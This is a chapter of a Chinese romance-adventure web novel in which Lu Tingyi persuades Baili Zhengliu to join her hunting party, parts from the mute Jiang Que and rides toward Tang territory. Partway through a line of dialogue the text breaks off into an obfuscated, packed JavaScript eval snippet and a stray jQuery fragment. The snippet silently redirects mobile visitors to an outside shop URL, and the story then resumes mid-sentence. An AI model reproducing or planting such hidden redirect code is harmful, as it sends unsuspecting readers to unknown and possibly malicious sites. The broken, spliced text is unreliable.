几双眼睛又齐齐地朝她看了过来。
齐圆“扑哧”笑了出来,懒懒地抬起眼皮:“你愣着做什么,人家有话和你说。”
她说话时,红烛烧得肆意,陆停漪头一次觉得烛爆声有些讨厌。
这行冒险之事,怎么这样难堪……
“哎呀,陆停漪你怎么这么多事……”
唐临冬还没抱怨完,就被百里争流一个眼风制止了:“你们先出去等着。”
门合上,厅内只剩下两人。
反正脸皮已经掉到了地上,陆停漪索性破罐子破摔:“和我同队吧,一起去唐领。”
红烛又燃了起来。她硬着头皮抬头,百里争流的神色,却不是她预想中的抵触和厌烦,只是露出了几分困惑。
“为什么要我过去?”他问。
“因为……赵墨。”她压低了声音,“万一得到了关于他的情报,我想让你第一个知道。”
百里争流没说话,面色冷了下来,像蒙上一层冰霜。
她的心悬在喉咙,有些后悔贸然抛出了赵墨的名字,但她实在找不到其他理由了。
不知过了多久,他又是叹气又是冷笑:“难为你替我考虑了。”
看来是被拒绝了。睫毛颤了颤,陆停漪垂头,她想再找个理由,脑海中却一片空白。
“我去和他们交待一声。”
“什么?”她瞪大眼睛。
从她身边经过时,他身上那股泛着淡香的冷意裹住了她。
“你不是要和我同队吗?”
“对!”她忙追了上去,声音上扬,“我也得去交待一下!”
门外,姜却和唐临冬站在树下,他不知做了什么,又把唐临冬气得乱跳。
他面上时常挂着笑意,但看得多了,陆停漪也能分辨出他的真心和假意,那双桃花眼是弯的,眼底像蒙了一层水。
姜却是喜悦的。
陆停漪挠挠头,他曾多次说过,想让她见识一下狩猎时的英姿,不能同队的事,她还真有些说不出口。
拍拍脸,她走了过去。
“话说完了?”唐临冬用力捶了姜却一下,“能走了吗?”
“嗯,不过……世子殿下要和我们一起唐领。”她面露歉意,“姜却,你得去王居林那队了。”
姜却收住了笑意,用嘴型问:“为什么?”
唐临冬也愣住了,朝另一边看了看,很快对着他翻了个白眼:“还能为什么?争流是想保护咱们巫祝大人呗,你呢……就老老实实去另一边吧!”
说着,唐临冬搓手,一溜烟跑远了:“那我去牵马,都别再耽搁了!”
树下,只剩下她和姜却。
他垂着头,看上去有些落寞。
“以后狩猎的机会多得是,你的英姿我迟早看得到。”她调侃道,“你不至于为了这点事情伤心吧?”
姜却笑了笑,手指在她小臂上划拉:“不是这一件事,自从你能开口说话后,总觉得你有些变了,离得更远了。”
“唉,这些日子是太忙了,很多事情我自己都一头雾水,自然顾不上和你说了。”
陆停漪看着悬在衣服上方的手指,在不久之前,她也只能这样和人说话。
只有同病相怜,才知道做个慢一拍的哑巴,有多难。
不是所有人都能等他们用写字来回答。
也许是看不懂、没耐心看,或出于其他原因,让她的回话掉到了地上。
就连她的父亲,也有几次忙着外出狩猎,没能看完她写下的话,尽管他总说“回来再看、回来再看”,可回来后的他依然忙碌,再也没想起来看。
这些微不足道却又硌得慌的小瞬间积累多了,就凝成了一种无能为力之感,也让和她相同处境的姜却,成了难能可贵的存在。
如今只剩下他一个哑巴,他肯定失落。
想到这里,她灵光一闪:“姜却,我记得你是小时被毒哑的?”
“怎么问起这个了?”他的手指轻轻划过。
“你有救了,巫祝的治疗术治伤不治残。”她抚掌,“我能把你治好……等从唐领回来吧。”
再耽误下去,唐临冬和王居林肯定急得想杀人了。
“你要做好准备哦。”她眨眨眼,“以我的经验,但凡是改变,哪怕是你期待了许久的改变,真正来临时,也会觉得有什么被打破了。给你多一些时间适应,不用感谢我。”
姜却的目光停留在她脸上,笑着写道:“好啊,那你先告诉我,能重新说话,是什么感觉?”
陆停漪托着下巴,沉默片刻,才开了口:“从前,我觉得只要能再次开口说话,就别无他求,但真得到了,还是会有其他烦恼。”
比如攒红烛什么的,她在心里抱怨,又说道:“不过能说话总归是好的,我们不用再担心被人给抛下了。”
“期待我们下次见面。”姜却收回手指。
陆停漪应了声,百里争流和齐圆在她身后,她没有回头,秋风隐约送来了一些声音,她也没有细听。
耸耸肩,她说道:“临冬应该在门口,我要过去找她,一起吗?”
姜却无声地跟上来,两人并肩朝府外走去。
他们的背影靠得很近,鹅黄色的衣裙被风吹得蓬起,与姜却玄色的衣裳交叠在一起。
百里争流收回目光,对王居林说道:“五日后,我们在方才约定的路口会合。切记,若是状况不妙,不要硬拼,退回来等我们一起想办法。”
“我记下了,你们那边也一样……”王居林面上闪过一丝犹豫,叮嘱了句,“要是受伤了,你不要总拖着。”
百里争流露出淡淡的笑:“多谢。临冬去牵马了,我们也动身吧。”
两人的交情最深厚,王居林一眼就看出了他的笑容里带着敷衍。
他知道百里争流背着平兽灾的重担,越是到了紧要关头,坐镇江东王府的人越该稳住,他不信百里争流不懂这粗浅的道理。
可这两年,他却在狩猎中越发激进,那副不死不休的样子,王居林看了都胆寒,他只能尽力劝着,但分毫没把百里争流拉回来。
心事重重的王居林走在前面,齐圆用气音问身旁的人:“你要换队,是为了陆停漪,还是巫祝陆停漪?”
百里争流脚步顿了下:“有什么区别吗?”
“有没有区别,你心里有数。”齐圆翻了个白眼,“别忘了和我的约定,和陆停漪单独
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767201|209757||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
相处时,不要忘乎所以,说些有的没的。”
她威胁地看了眼刀柄上的风铃。
烦死了。百里争流面沉如水,将风铃攥在手心。
齐圆见他不吭声,挑眉笑了笑,再看向前方背影相依的少年少女,脸上的笑又僵住了。
她垂头看了看自己红色的衣裙,又睨了眼高大俊美的百里争流。
很好,她也很光鲜,没输给陆停漪。
几人陆续来到门口,唐临冬已经坐在马背上抖腿了:“快点喽!”
陆停漪翻身上马,一勒缰绳,马蹄声哒哒响起。
同行了一段路,他们来到分别的路口。
“齐圆,你病才好,要多注意!居林,你的小青梅不会有事的,不要着急!”唐临冬挥挥手,“还有那位,也要保重啊。”
“临冬,关心则乱,你遇到事情一定要和争流停漪商议。”王居林也挥挥手。
几人互道了“保重”,朝不同方向进发。
一身黑衣的百里争流,高坐在马上,凛冽的气质散在寒秋里,把娇小的唐临冬挡得严严实实。
“陆停漪。”
“怎么了?”她问。
百里争流控住缰绳,马蹄慢了下来,直到被她超了过去。
“没什么,你到前面去。”
“为什么?”她摸不着头脑。
“他习惯在最后,你在我们中间就行了。”唐临冬冲到最前面,“姜却打头,争流殿后,我们一直都这样!”
陆停漪这才有了和他们一起狩猎的真实感,受咒之后,她再没离开过江东王府,只能眼巴巴看着他们嘻嘻哈哈出门,又吵吵嚷嚷回来。
头回外出,她看什么都觉得有趣,但这份新鲜感,很快在没日没夜赶路中消耗殆尽。
饿了只能从马褡子掏出干粮噎两口,深夜的风打在身上就像刀割似的,两腿磨得生疼,浑身都要颠散架了。
但想到唐临冬的心急,她又张不开嘴要休息,只能挺直背强撑着。
陆停漪连眼皮都抬不起来时,百里争流的马从身后越了过去,他没停下,而是赶到了唐临冬身边。
“日落了,明日进了唐领后,不知会遭遇什么,今夜先找个地方休整。”
陆停漪感动得想哭,再看他那张无波无澜的脸,也不觉得心烦了。
好不容易捱到歇息的地方,她翻身下马,两条腿软得差点没站稳。
缓了缓,她才挪到了树下坐好。
唐临冬缩在另一边,两人离得很近,陆停漪见她紧锁着眉头,翻来覆去看着腕上的五彩绳。
那条五彩绳已经褪色了,还有几处断裂,是苗娘给补好的。
她深吸口气,蹭了过去。
“临冬……”她结结巴巴说道,“泄密的真相、我听苗娘说了,谢谢你……还有,当时我能抓到的线索太少,确实有那么几个瞬间、是怀疑你的,很抱歉……”
唐临冬拽下了袖口:“算了,这件事是我自己揽下的,让你误会了,是我活该。”
她抬起头,看向前方,百里争流点起了篝火。
“不过,你确实该对我道歉。”唐临冬的目光幽幽转了过来,“还记得是什么事吗?”